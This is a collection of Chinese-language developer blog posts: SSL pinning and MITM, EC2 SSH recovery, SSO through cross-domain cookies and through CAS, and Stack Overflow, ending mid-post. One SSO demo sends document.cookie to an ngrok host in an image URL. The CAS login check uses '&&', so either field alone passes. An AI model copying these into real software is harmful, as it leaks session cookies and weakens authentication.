假設今天我有一個 App 是專門瀏覽 github.com 用的github.com 憑證內的公鑰是 O 的話而我 App 裡面的程式,已經有預先寫好 O 這個公鑰所以當我瀏覽 github.com 的時候,取得憑證內的公鑰 O拿這個公鑰 O 去跟程式裡面寫好的 O 比對是一樣的,就繼續連線不一樣的話就拒絕連線,因為不一樣的話,一定是有什麼狀況發生,不要連線比較好這就是 SSL Pinning,確保連線的網址憑證是安全的 而發生不一樣的狀況,通常是所謂的中間人攻擊 中間人攻擊中間人攻擊英文是 Man-in-the-middle Attack,又稱 MITM在正常連線的狀況下,都是屬於下圖的狀況 (這邊以最單純只有 server 的架構來表示 中間人攻擊,就是中間卡了一個人幫你跟伺服器進行資料交換這樣就代表所有東西都會被這個中間人看光光 接下來可能會有一個疑惑,我都用 SSL 了,他怎麼會看到我傳送的封包?但其實當中間卡一個人的時候,你並不會知道中間真的有卡了一人在幫你交換資料以你連線到 github.com 的時候,如果你不特別去點憑證來看你其實並不會知道到底是怎麼一回事,讓我們看看下面 gif 的例子 左邊是我用無痕模擬被中間人攻擊的狀況,右邊則是我一般上網的狀況不點憑證之前,你其實很難分辨出來到底哪一種有問題這邊附上各個截圖,上圖為 gif 左邊,下圖為 gif 右邊 其實中間人的角色,其實就是充當伺服器再跟你進行 SSL 通道的建立所以對瀏覽器來說,這個中間人就是真正的伺服器,只是瀏覽器並不知情而已 但其實現實上瀏覽器其實不會那麼笨因為瀏覽器本身都會有一些本來就可以信任的 Root 憑證所以當瀏覽器遇到這種 Root 憑證怪怪的,基本上都是會拒絕連線的 這裡會可以連線是因為我先讓我的瀏覽器無條件相信這個中間人的 Root 憑證Root 憑證和一般我們所講的憑證有什麼不同,後面會介紹到 當不信任的狀況,瀏覽器就會出現以下的警告視窗裡面的英文訊息其實就很完整解釋,這個伺服器送回了異常的憑證,所以 Chrome 大大幫你擋掉不過如果你像我一樣設定好讓 Chrome 大大無條件相信的話,就不會出現這個警告視窗了 某: 我們已經知道 SSL 是什麼,也知道中間人攻擊是什麼了某: 但我們到底要如何做到 SSL Pinning 去預防這件事情呢某: 是只要取得 github.com 的憑證公鑰去驗證就好了嗎 我: 摁 … 且慢, 其實憑證還有所謂的憑證鍊, 就像上圖點開憑證會看到很像鏈子一整串的憑證我: 可以回去看上面那兩個 github.com 的圖裡面的憑證的顯示方法某: 等等!怎麼還有啊!也解釋太久了吧我: 幫我充值一下時間,快要結束了 憑證鍊從圖中可以看到憑證從上到下總計有三個 從上到下分別為 Root Certificate: DigitCert High Assurance EV ROOT CA Intermediate Certificate: DigitCert SHA2 Extended Validation Server CA Leaf Certificate: github.com Leaf 是被 Intermediate 簽署認證Intermediate 是被 Root 簽署認證 而 Root 憑證本身就會被安裝在手機以及瀏覽器以內但談到我剛剛有一個 github.com 被中間人攻擊的例子是我自行把中間人的 Root 憑證給安裝到電腦中,才會被攻擊實際上,其實有可能透過社交工程的方法,引誘使用者安裝這些不安全的 Root 憑證 以 Android 來說,可能會在 Settings > Security > Trusted Credentials 看到很多根憑證以 Mac 電腦來說,可以在 terminal 使用 open file:///System/Library/Security/Certificates.bundle/Contents/Resources/TrustStore.html打開後就會看到裝在這台電腦上面所有信任的 Root 憑證 那問題就來了,我要如果要做 SSL Pinning 要針對誰做 SSL Pinning 呢?答案其實是不用只選一個,也不一定要全部都選但基本上 Pinning Leaf 可以 100% 確認這一定是你的伺服器但如果當你的私鑰被洩漏出去,那個中間人也有辦法做出跟你一樣的公鑰出來的所以也會有人選擇不只 pinning Leaf,直接全部 pinning 也是一種方法 除了 Pinning 公鑰之外,也會有人選擇 Pinning 整個憑證的方式以 github.com 憑證來說有以下兩種顯示方式 公鑰: o5oa5F4LbZEfeZ0kXDgmaU2K3sIPYtbQpT3EQLJZquM= (sha256 + base64 後) 憑證檔: 1234567891011121314151617181920212223242526272829303132333435363738394041-----BEGIN CERTIFICATE-----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-----END CERTIFICATE----- 如果上面兩種擇一的話,選擇公鑰是會比較適合的因為同一把私鑰簽署出來的憑證的公鑰一定都會一樣,但如果是憑證內容就都會不一樣可以使用下面的指令試試看出來的結果1234567891011121314// 產出私鑰openssl genrsa -out key.pem 2048// 用同一把私鑰,產出兩組不同的憑證openssl req -x509 -new -key key.pem -sha256 -nodes -keyout key.pem -out cert1.pem -days 30openssl req -x509 -new -key key.pem -sha256 -nodes -keyout key.pem -out cert2.pem -days 30// 顯示公鑰是一樣openssl x509 -pubkey -noout -in cert1.pemopenssl x509 -pubkey -noout -in cert2.pem// 顯示憑證內容是不一樣openssl x509 -inform pem -in cert2.pemopenssl x509 -inform pem -in cert1.pem 這邊附上一個可以取得憑證公鑰的方法,把下面程式貼到 getPKfromDomain.sh 底下sh getPKfromDomain.sh github.com,就會出現憑證鏈全部的公鑰 (都是 sha256 + base64 後123456789101112#!/bin/bashcerts=`openssl s_client -connect $1:443 -servername $1 -showcerts </dev/null 2>/dev/null | sed -n '/Certificate chain/,/Server certificate/p'`rest=$certswhile [[ "$rest" =~ '-----BEGIN CERTIFICATE-----' ]]do cert="${rest%%-----END CERTIFICATE-----*}-----END CERTIFICATE-----" rest=${rest#*-----END CERTIFICATE-----} echo `echo "$cert" | grep 's:' | sed 's/.*s:\\(.*\\)/\\1/'` echo "$cert" | openssl x509 -pubkey -noout | openssl rsa -pubin -outform der 2>/dev/null | openssl dgst -sha256 -binary | openssl enc -base64done 以 github.com 來說,結果如下123456$ sh getPKfromDomain.sh github.com/businessCategory=Private Organization/jurisdictionCountryName=US/jurisdictionStateOrProvinceName=Delaware/serialNumber=5157550/C=US/ST=California/L=San Francisco/O=GitHub, Inc./CN=github.como5oa5F4LbZEfeZ0kXDgmaU2K3sIPYtbQpT3EQLJZquM=/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert SHA2 Extended Validation Server CARRM1dGqnDFsCJXBTHky16vi1obOlCgFFn/yOhI/y+ho= 那如果當我的手機被中間人攻擊的話,拿到的就是下面這結果12345/C=PortSwigger/O=PortSwigger/OU=PortSwigger CA/CN=github.comDl+WeZh7lkGAd7otN+2fZEKoYTap20PkS4xpiUTi61Q=/C=PortSwigger/ST=PortSwigger/L=PortSwigger/O=PortSwigger/OU=PortSwigger CA/CN=PortSwigger CADl+WeZh7lkGAd7otN+2fZEKoYTap20PkS4xpiUTi61Q= 後記不過還是要注意的是,萬一私鑰被洩露然後 App 的 SSL Pinning 是寫死在程式裡面,這樣 App 就 100% 一定要升級版本,否則會出問題但如果你說,專門有一台憑證 API 去跟他要公鑰,其實這也會有問題因為攻擊者還是有辦法去偽造回傳的結果的 XD 另外如果對模擬中間人攻擊有興趣的,可以參考 burpsuit 的使用方法去學習屆時再使用 openssl s_client 的時候,記得最後面加上 -proxy 127.0.0.1:8080 連到 proxy 去模擬 References 那些關於SSL/TLS的二三事(九) — SSL (HTTPS)Communication 這裡有一系列對 SSL/TLS 的概念講解,推薦大家去閱讀看看 那些關於SSL/TLS的二三事(十二) — Chain of Trust Android Security: SSL Pinning","link":"/2020/03/02/ssl-pinning/"},{"title":"伺服器的 ssh 設定被弄壞了, 無法登入怎麼辦?","text":"前言有時候在調整伺服器上的 ssh service 的時候 (/etc/ssh/sshd_config)可能要設置 AllowUser 只允許誰登入但好死不死的, 可能就在調整的時候沒注意到錯字就不小心把 ssh 玩壞, 導致接下來登入的時候都完全無法登入最慘的情況下, 是沒有任何地方可以登入, 就連用 root 也無法這樣的狀況下, 可以透過卸載和掛載的方式去處理 這邊發生的狀況是以 AWS EC2 的案例為主 解決方法 首先要把硬碟卸載下來, AWS 的 EC2 主要 root device 是掛載在 /dev/sda1 透過以下選取到 root device 之後把他 Detach Volume detach 成功之後, 直接掛載在另一台可以正常登入的伺服器 掛載完成之後可以在伺服器上輸入 lsblk 去看是否有掛載成功 這邊掛載成功的名字就是待會要 mount 的名字 通常掛載到另一台上面的話, 名字不會是 xvda1, 而會是別的名字 接著就是要透過 mount /dev/vda1 /mnt/folder 掛載在 /mnt/folder 這個資料夾底下 執行完指令之後, 就可以在 /mnt/folder 去操作原本壞掉機器上的硬碟了 結束之後, 透過 umount /mnt/folder 的方式把硬碟卸載 最後在 AWS 上面把那個 root device Attach Volume 到原本那台伺服器上即可 但要注意的是, 記得掛載的名字一定要選 /dev/sda1 因為這是 EC2 預設的開幾的地方, 名字換別的會導致無法開機唷","link":"/2020/06/26/ssh-broken-how-to-fix/"},{"title":"Single Sign On 實作方式介紹 (iframe & cookie)","text":"前言SSO 是 Sinsgle Sign On, 也就是單點登入簡單來說就是『我希望我在一個地方 A 登入後, 在其他地方也能使用同一組帳號密碼登入』然而透過 cookie-session 的機制, 有時在一個服務 A 登入後, 在服務 B 也不需要登入也能直接使用但 SSO 並不代表, 我存在 A 的帳號密碼, 也會被其他地方的系統儲存而是其他地方的系統都是透過 A 去做到帳密認證, 也就是只有 A 會儲存我的帳號密碼 透過實現 SSO 可以達到以下幾個好處 使用者只需要紀錄一套帳號密碼就可以在其他地方登入 開發新的系統時, 不需要重新實作登入系統, 直接用 SSO 機制就可以完成登入系統 談論到 SSO 就會有 OAuth 出現但要注意的是, SSO 和 OAuth 是兩種不同的概念最重要的差別在於有沒有第三方系統干涉以及認證和授權之間的差別 使用場景看看以下的例子SSO: 在公司內部系統上, 全部只要用一組帳號密碼就可以, 不用各個系統都要一組帳號密碼OAuth: 在電商平台 A, B 上, 我不想要重新註冊, 於是我透過 Google 登入, 並授權 A, B 能夠讀取我在 Google 上面的信箱資料 那麼要如何實現 SSO 呢?實現 SSO 的概念有很多種做法, 相信有人會聽過用 CAS 去實作但這篇暫時還不會探討到 CAS 的實作方式 而是先以 domain 的切入點去做講解我們先列舉不同情境, 而不同情境有不同實現方式 同一個 second level domain可以利用 cookie 的機制把 cookie 寫入到 second level domain 上這樣其他 third level domain 都可以同時存取到這個 cookie 舉個例子來說在 test1.example.com 登入後, 把 cookie 寫入到 example.com屆時再 http://test2.example.com 也可以存取 example.com 的 cookie代表說 http://test2.example.com 也享有剛剛在 http://test1.example.com 登入後權利 這種情況就很單純, 很適合用在應用都是在同一個網域下的狀況但現實情況通常不會這麼單純, 所以就會有不同 domain 的情況出現 不同個 second or top level domain這裡實作分成就有很多種方式了像是可以把 cookie 寫入到各個 domain 去又或是可以用 CAS 去實作 把 Cookie 寫入到多個 domain這個方法說來弔詭我們先來說說 cookie 的機制, cookie 在 domain A 寫入的時候domain A 是不能寫入到其他 domain B, C 之類的地方 假設在 http://test.example1.com 登入, 此時我能把 cookie 寫入到 example1.com但我卻不能把 cookie 寫入到 http://test1.example2.com所以我們會需要利用其他方式去寫入 http://test1.example2.com 的 cookie 以下方式在 Chrome 80 以後必須要 https 才可以, 但 firefox 74 版本是可以用 http 的 第一種是利用 Get 的方式去發, 但設置 Cookie 時會需要 SameSite=None; Secure原因是 Chrome 在 80 版本之後對第三方 Cookie 有做限制, 可參考此文章 例如在 http://test.example.com 底下, 去發一個 get request 到 test.example1.comrequest 可以用以下方式去發1<img src=\"https://test.example1.com?cookieValue=123\"/>而在 http://test.example1.com 接收到 request 的時候, 就要把 cookie 給寫入12345// chrome + https"Set-Header": "cookieValue=123; SameSite=None; Secure"// firefox + http"Set-Header": "cookieValue=123;" // SameSite 預設為 None, 但 firefox 可以不用 Secure 第二種方式可以利用 iframe但 iframe 會需要允許被嵌入, iframe src 是 https://test.example1.com/iframe然後 iframe 裡面的內容為下, 發過去 request 之後, 由伺服器去 set-cookie set-cookie 的方式如同上面的設置方式1<img src=\"https://test.example1.com?cookieValue=123\"/>從以上兩種方式可以發現, 如果要在”很多個”網域設置這種流程, 會是一件非常大的功因為你如果在 N 個 domain 要設置 cookie, 你就必須設置 N 個 iframe / img 去觸發 Request而刪除 cookie 的時候, 也需要一個 domain 慢慢刪除, 是一件非常麻煩的事情 這裏 DEMO 一下 iframe 那種方式呈現的結果, 先介紹一下流程總共有兩個網站, 一個是 http://test1.example.com:2000 另一個是 https://d698d280.ngrok.io/目標就是要讓 http://test1.example.com:2000 的 cookie 也能夠註冊到 https://d698d280.ngrok.io/ 首先到 https://d698d280.ngrok.io/ 這裡面是沒有任何一個 cookie 接著進入到 http://test1.example.com:2000 會給我一個 cookie 1res.setHeader(\"Set-Cookie\", \"a=this_is_test1.example.com;\") 接著我在 http://test1.example.com:2000 用以下 script 開啟一個 iframe iframe src 為 https://d698d280.ngrok.io/ iframe 123var iframe = document.createElement(\"iframe\")iframe.src = \"https://d698d280.ngrok.io/iframe\"document.body.append(iframe) iframe 裡面會有一個接收 postMessage 的 function 12345window.addEventListener(\"message\", function(event) { var img = document.createElement(\"img\") img.src = \"https://d698d280.ngrok.io?a=\" + event.data.cookie document.body.append(img)}) 接著由 http://test1.example.com:2000 發送 postMessage 並把 cookie this_is_test1.example.com 給 iframe 1iframe.contentWindow.postMessage({cookie: document.cookie}, \"https://d698d280.ngrok.io/iframe\") 當 iframe 裡面接收到 postMessage 之後 (第 4 步的 function), 會開啟一個圖片 帶著 query_string https://d698d280.ngrok.io/?a=this_is_test1.example.com 當 https://d698d280.ngrok.io/ 收到之後, 會把 a 取出來並且也設定 set-cookie 12let a = req.query.a.split(\"=\")[1];res.setHeader(\"Set-Cookie\", `a=${a}; SameSite=None; Secure`) 此時在 https://d698d280.ngrok.io/ 的 cookie 裡面 會發現把從 http://test1.example1.com.com 來的 cookie 也寫到這裡面了 整個流程可以看看此影片呈現 所以透過這種方式, 就可以把登入資訊也寫入到另一台 server這樣就能達到 SSO, 只是這方式好不好, 見仁見智也許小型網站適合 (2,3 個), 但因為機制上面還有一些安全疑慮要解決所以在使用的時候要想清楚流程去避免 cookie 被盜用還包含要如何進行驗證 (可以用 JWT)而比較好的方式是透過 CAS 去實作畢竟 CAS 已經算是有完整機制的實作方法, 安全性上還是相對安全 這邊附上程式碼可以測試 如果要向筆者一樣, 可以更改 localhost 的 domain name必須去修改 /etc/hosts 底下的設定喔! 12345678910111213141516171819// server Aconst express = require(\"express\")const app = express()app.get('/', (req, res) => { res.setHeader(\"Set-Cookie\", \"a=this_is_test1.example.com;\") res.end(` <body> </body> <script> var iframe = document.createElement(\"iframe\") iframe.src = \"https://d698d280.ngrok.io/iframe\" document.body.append(iframe) </script> <script>setTimeout(function(){ iframe.contentWindow.postMessage({cookie: document.cookie}, \"https://d698d280.ngrok.io/iframe\") }, 2000)</script> `)})app.listen(2000); 1234567891011121314151617181920212223// server Bconst express = require(\"express\")const app = express()app.get('/', (req, res) => { let a = req.query.a.split(\"=\")[1]; res.setHeader(\"Set-Cookie\", `a=${a}; SameSite=None; Secure`) res.end(\"testb\")})app.get('/test', (req, res) => { res.end(\"test\")})app.get('/iframe', (req, res) => { res.setHeader('Content-Type', 'text/html') res.end(` <body></body> <script>window.addEventListener(\"message\", function(event) { var img = document.createElement(\"img\") img.src = \"https://d698d280.ngrok.io?a=\" + event.data.cookie document.body.append(img) })</script> `)})app.listen(3000) 後記先以不同 domain 的方式配合 cookie 讓大家知道 cookie 的受限程度接下來第二篇著重的重點在於不同 domain 下利用 CAS 去實現 SSO Reference 全面介绍SSO(单点登录","link":"/2020/04/06/sso-1/"},{"title":"Single Sign On 實作方式介紹 (CAS)","text":"前言CAS 全名是 Central Authentication Service一個獨立的認證服務, 概念是在使用服務之前如果是沒有登入的使用者, 會先被跳轉到認證服務的地方進行登入登入成功之後就會被導回去原本使用服務的頁面 題外話, 這裡的英文 Authentication 是有含義所在的代表判斷使用者是不是他所宣稱的人, 通常會透過使用帳號密碼或是郵件等等方式進行認證而認證成功後, 有沒有被授權存取服務的權限則是另一個單詞 Authorization通常代表, 判斷使用者有沒有權限可以存取資源, 例如要修改個人資料有沒有權限等等 角色在介紹流程之前, 先定義四個角色 使用者: 就是我們使用者 應用服務 A : 使用者必須要登入後才能使用的 A 服務 (AP 1) 應用服務 B : 使用者必須要登入後才能使用的 B 服務 (AP 2) CAS Server: 使用者被導轉到需要輸入帳密登入的地方 第一次登入使用 A 流程 使用者開啟應用服務 A 的頁面, 但使用者尚未登入獲得認證, 並點下登入按鈕 使用者被導轉到 CAS Server 的登入頁面 使用者在 CAS Server 進行登入 使用者登入成功之後, CAS Server 會寫入一個 cookie 在 CAS Server 的網域下並產生 session 使用者被導轉到應用服務 A 頁面, 此時導轉網址的 Query String 會有剛剛 CAS Server 寫入的 cookie 資料 應用服務 A 拿著剛剛的 cookie 資料, 送往到 CAS Server 進行驗證 驗證成功, 生成自己的 cookie & session 給這個客戶使用 接著進行登入成功的頁面, 開始使用服務 A 第二次登入使用 B 流程 使用者開啟應用服務 B 的頁面, 但使用者尚未得到應用服務 B 的認證, 並點下登入按鈕 使用者被導轉到 CAS Server 此時因為在第一次登入 CAS Server 已經寫入 cookie CAS Server 的網域 當使用者被轉到 CAS Server 後, CAS Server 會取得此使用者的資訊 就知道此使用者已經登入過, 所以不需要重新登入 此時 CAS Server 把使用者導回應用服務 B 上 導轉到應用服務 B 的時候, 此時導轉網址的 Query String 會拿到 CAS Server 的 Cookie 資料 應用服務 B 拿著剛剛的 cookie 資料, 送往到 CAS Server 進行驗證 驗證成功, 應用服務 B 生成自己的 cookie & session 給這個客戶使用 接著進行登入成功的頁面, 開始使用服務 B 為何要驗證 ticket 是因為導轉回來的 query string 是可能被更改的所以要先確保回來的 ticket 真的是 CAS Server 給的, 而不是哪一個駭客幹的在 DEMO 專案裡面, 每一段我都有加上 checksum這是為了保證這一定是 CAS Server 傳送的 (達到資料一致性) 實作 CAS 流程講完流程就要來用程式實作整體流程先附上個人撰寫的 CAS 測試專案(Node.js 版)可以到 github 去 clone 下來玩玩為了練習點英文, 所以那專案的 README 是用英文寫, 寫不好請見諒 XD Workflow 快速介紹這裡在快速把流程帶過一次 在第一次使用 AP1 的時候, 點了 login url 之後會被導轉 CAS Server此時會進行登入, 需要進行帳號密碼驗證, 登入成功後會進入到 AP1 manager 頁面 此時進入到 AP2, 點了 login url 是先被導轉到 CAS Server但因為 CAS Server 有辦法識別此 cookie 是已經登入過所以不用再驗證帳號密碼,接著被導轉到 AP2 manager 頁面原因是, 我已經登入過了, 就不用再登入了 下面會針對 AP Server 和 CAS Server 的重點程式碼進行說明 AP Server 機制進到 AP 的登入頁面後, 裡面會有一個 url, 點了就會被跳轉到 CAS Server但因為你要告訴 CAS Server 你是從哪邊跳轉過來的, 這樣登入成功後 CAS Server 才有辦法把你跳轉到原本的頁面所以會需要附上 URL, 這邊為了安全機制有加上 checksum, 不然輸入任何網址 CAS 都會跳轉過去喔! 1234567// ap server nodejs code, 這裏採用 ejs 模板去渲染頁面, 頁面的程式碼看下面那段 ejsapp.get('/', (req, res) => { res.render(\"ap1_index\", { checksum: getHmac(URL), serviceUrl: URL })}) 1234<!-- ap server render ejs 的頁面, 也就是 ap 的登入頁面 --><h1>this is AP1</h1><% let url = \"http://test.cas-example.com:3000/?checksum=\" + checksum + \"&serviceUrl=\" + serviceUrl; %><a href=<%= url %>>go to login <%= url %> </a> 接著成功登入 CAS 之後, AP 會需要重新拿著 CAS 給的 ticket 去驗證此人是否真的存在這邊 status = 200 代表成功, 如果檢測成功, 就會跳轉到 managr 頁面就完成登入了 這裏的 ticket 可以想像是登入成功後的一組識別碼就像去飲料店買飲料拿到的號碼牌一樣, 用此號碼牌就可辨別是誰買的飲料在這邊的號碼牌就是辨別誰已經登入成功 12345678910// ap server nodejs code// 去向 CAS Server 驗證此 ticket 是否有效const response = await axios.post(\"http://test.cas-example.com:3000/verify\", { ticket, checksum: getHmac(ticket),}).then((response) => response.data);if (response.status === 200) { req.session.login = true; return res.redirect(\"/manager\");} 而 AP 的 manager 頁面也要做點限制, 除了認證成功以外的就不允許進到這頁面1234567// ap server nodejs codeapp.get('/manager', (req, res) => { if (!req.session.login) { return res.redirect(\"/failed\"); } res.render(\"ap1_manager\")}); CAS Server 機制剛剛提到 AP 會帶著需要告訴 CAS 結束後要跳轉回來的地方下面那段程式可以看到資訊正確的話, 最後會 redirect 到 serviceUrl這個 serviceUrl 就是 AP 提供的而其他 session 部分就是為了保存下次同樣使用者再來的時候, 就會被判定早已登入過1234567891011// CAS Server nodejs code// 登入成功執行此段程式碼的最後一段, 就會被跳轉回去當時 AP 提供的 serviceUrlif (username !== \"123\" && password !== \"123\") { return res.redirect(\"/bad\")}req.session.login = true;req.session.userInfo = {};const ticket = require(\"randomstring\").generate(10);DB.set(ticket, serviceUrl);req.session.userInfo[serviceUrl] = ticket;res.redirect(`${serviceUrl}?ticket=${ticket}&checksum=${getHmac(ticket, serviceUrl)}`) 下面這段 code 就是當使用者被判定登入過的話, 就可以給一個 ticket 然後就直接跳轉過去而不需要再去判斷 username 和 password 是否正確123456789101112// CAS Server nodejs codeif (req.session.login) { if (req.session.userInfo.hasOwnProperty(serviceUrl)) { const ticket = req.session.userInfo[serviceUrl]; return res.redirect(`${serviceUrl}?ticket=${ticket}&checksum=${getHmac(ticket, serviceUrl)}`) } const ticket = require(\"randomstring\").generate(10); DB.set(ticket, serviceUrl); req.session.userInfo[serviceUrl] = ticket; return res.redirect(`${serviceUrl}?ticket=${ticket}&checksum=${getHmac(ticket, serviceUrl)}`)} 重點程式碼就介紹到這篇, 剩下的可以直接 clone 我的 CAS 測試專案(Node.js 版) 玩玩看至於其他程式碼就是做一些保護機制、錯誤訊息顯示簡單的 DB讓在執行流程順暢以及比較知道執行時到了哪一個步驟 DEMO 後記在現實使用狀況上, 還需要考量各種狀況和安全機制而且現實使用上除了要加上 https, cookie 也要設成 httpOnly Secure 去防止駭客竊取這部分就要花費蠻多功去討論, 就留給未來看哪天會寫寫這個主題 XD","link":"/2020/04/20/sso-2/"},{"title":"Stack Overflow 回答體驗心得以及如何問好問題","text":"前言說到 Stack Overflow 工程師們一定不會陌生這是從小(?)看到大的一個網站有問題就估狗找一下, 很多解答都會在 Stack Overflow 裡面出現 最近假日閒來無事, 想著不如我也來上去貢獻回答看看別人好了就這樣開始回答問題了, 大概花了三個禮拜在上面找問題回覆 不過使用 Stack Overflower 之後一直以為 Reputation 越高, 就是回答問題越多, 但實際上不是Reputation 的增加, 是透過回答問題, 問問題以及修改別人的問題或是答案來加分 而在這過程中, 也發生過問的問題不精準又或是沒提供詳細的資訊導致回答的人很難去回答問題, 這裡會在後面介紹案例介紹完案例之後, 會根據每一個問問題的案例中所缺少的要點整理成如何問好一個問題做結束 簡單機制介紹分數計算最基本的問問題是無法獲得分數的而回答或是問題, 並且被其他人 Upvote 的話可以得到 10 分Downvote 則是會 -2 分若被發問者選為最佳解答, 則是額外再加 15 分所以單純回答問題是不會有任何分數的另外 comment 也是完全不會算分數的唷其他詳細可以看官網寫的機制 What is reputation? How do I earn (and lose) it? Privilege除此之外, 隨著 Reputation 越高, 可以做的權限越多例如他會出一個 Review List 讓 Reputation 高的人去審閱說問題是否清楚或是第一次貼文的文章內容有沒有需要改善 以下圖來說, Stack Overflow 就會把第一次發問的文章讓你去 Review 看問得好不好若像是沒有加 tag 或是語意不通順, 都可以幫發問者修改若修改成功, 也會獲得額外的分數官網有列出所有權限可做的事情, 有興趣可以看看 Badge至於 Badge 的部分, 分成『金』『銀』『銅』三種例如說第一次回答問題之後, 就會獲得『Teacher』銅牌 Badge第一次問問題的話, 就會獲得『Student』銅牌 Badge但也有像是一天獲得 200 以上 Reputation 的 Badge官網有列出所有 Badge 有興趣可以看看 Profile 頁面那因為回答和問問題都會算分, 所以從分數上很難判別這個人到底是很會回答還是很會問所以在 Profile 的頁面可以看到這樣的結構 javascript tag 右邊可以看到 score 和 post 的數字post 越高, 代表這人關於 javascript tag 的相關文章越多score 越高, 代表這個人回答 javascript tag 獲得的 upvote 越高以上圖來說, 回答 javascript tag 的文章有 19 篇, 獲得的 upvote 則有 18 個 心得個人算分如下 (截至 2020-12-01)初次登入獲得 1 分透過回答獲得 590 分 (35 篇回答, 35 upvote * 10, 16 best answer * 15)修改文章獲得 8 分目前總計為 599 分 上面這是 iframe 去嵌入 Stack Oveflow 的頁面, 所以會隨當前分數變動 那根據問題和答案類型可以分成以下幾種類型每一個案例都會挑我有回答過的去介紹 語言特性 使用工具或是服務 原理 資料結構 不精準提問 這裡會介紹幾個案例是筆者透過 comment 一來一往才問到發問者真正想解決什麼問題 語言特性筆者是比較熟悉 javscript & node.js 所以問題都是挑這些居多目前最常遇到的就是對 async-await 和 promise 的機制不熟悉的狀況這種問題都相對單純一點 案例一以下是對 async-await 流程不熟悉 nodejs async/await placement for multiple functions How to handle async forEach, pass results into database and then render complete data set 案例二以下是對 promise 使用不了解 How can return false value promise method in node if array is empty and vise versa 案例三接著是混合兩者, 不清楚 node.js 本身應該要怎麼去實作 callback 或是 promise How to implement a callback in Node’s app.get function? 這些回答起來都相對單純, 因為這幾個問題都有附上程式碼所以一看程式碼很快就知道問題出在哪裡 但像是這個問題 nodejs async/await placement for multiple functions其實發問者也已經提供很完整的思路跟想要問什麼他是可以在本地實驗跑看看結果會產生什麼, 就可以不用到 Stack Overflow 上來了 使用工具或是服務工具定義指的是類似 express ejs pug 等等其他第三方套件服務定義指的是其他第三方 API 或是 AWS 